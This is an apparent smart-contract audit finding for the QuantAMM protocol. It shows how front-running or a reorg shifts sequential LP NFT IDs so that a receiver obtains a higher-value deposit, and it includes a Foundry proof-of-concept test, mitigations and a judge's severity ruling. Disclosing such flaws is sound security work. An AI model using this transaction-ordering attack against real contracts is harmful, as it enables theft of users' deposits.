QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: low
Valid

Using front-run or a reorg attack it is possible steal higher value deposits from the sender by shifting NFT ID

Summary

If a user performs at least two deposits and a transfer in the same block it can encourage the receiver to front-run or reorg if one of the deposits has a much higher value.

Vulnerability Details

Because the deposits are identified by NFT tokenIDs. In a scenario where:

  • User makes two deposits. First gets ID: 1 and has a a large amount of tokens deposited. Second gets ID: 2 and has low amount of tokens deposited.

  • Same depositer makes a transfer to a receiver. And the transfer contains the NFT with ID: 2 which had a low amount of tokens deposited.

In this scenario the receiver can be incetivized enough to try front-run or do a reorg attack where if the first two deposits are front-runned or another deposit is put in front (reorg), their corresponding IDs will shift by one (ID: 1 -> ID: 2, ID: 2 -> ID: 3), but the amounts will not. Because of this now the transfer with ID: 2 will contain large amount of tokens and the receiver will benefit.

Impact

Receiver can manipulate transaction order to steal a higher value deposit. But this requires specific conditions (multiple transactions in a single block) and original depositer has to send a deposit to the attacker or someone willing to attack.

This can also in theory happen by accident if a user sends all the transaction one after another, but they are not executed in the expected order.

Similar attack can be done using block re-ordering, but would require considerably more resources.

The attack can result in considerable funds lost, but due to special conditions required (multiple transactions and malicious receiver) - Medium.

Tools Used

Manual review + foundry tests.

// Same can be achieved with transaction reordering
function testFrontRunAllowsStealingHigherValueDeposits() public {
uint256[] memory maxAmountsIn = [dai.balanceOf(alice), usdc.balanceOf(alice)].toMemoryArray();
uint256 input = 1e18;
// Bob front-runs Alice deposits to increase the original minted NFT IDs
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, 1, false, bytes(""));
// Alice makes two deposits where one is of much higher value than the other
vm.prank(alice);
// Orignal ID 1 -> due to front-run -> ID 2
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, input * 10, false, bytes(""));
vm.prank(alice);
// Orignal ID 2 -> due to front-run -> ID 3
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, input, false, bytes(""));
LPNFT nft = LPNFT(upliftOnlyRouter.lpNFT());
// Alice transfers ID 2 (original intention was to transfer "input" amount deposit)
// Due to NFT ID shift, now she transfers the higher value deposit "input * 10"
vm.prank(alice);
nft.transferFrom(address(alice), address(bob), 2);
UpliftOnlyExample.FeeData[] memory bobFeeData = upliftOnlyRouter.getUserPoolFeeData(pool, bob);
console2.log("---BOB NFT---");
console2.log("bobFeeData length", bobFeeData.length);
console2.log("bobFeeData[0] tokenID", bobFeeData[0].tokenID);
console2.log("bobFeeData[0] amount", bobFeeData[0].amount);
}

Recommendations

Few possible approaches.

1) Intead of TokenID, specfiy the amount user wants to transfer. And perform similar functionality to fees, where the code goes through all sender owned deposits and takes necessary amounts. Using those amounts creates a new deposit for the receiver.

2) Add a maxSent parameter to transfer which would verify that no more than maxSent tokens are transfered with the NFT.

3) Add a timelock on deposits to prevent immediate transfers.

4) Use a deterministic hash like NFT ID = hash(++numMinted, bptAmount) even if the transfer is front-runned the ID will no longer correspond to the original one. And even if they still match the deposit amount will be the same and therefore same Bpt amount will be transferred.

Updates

Lead Judging Commences

n0kto Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_addLiquidity_frontrunning_if_NFT_transferring

Likelyhood: Informational/Very Low, 2 deposits and transfer of the second one, and the value of the first one should be higher. All of that in the same block. Winning the lotto seems almost more probable. Impact: Medium/High, transfer the first NFT instead the second one.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.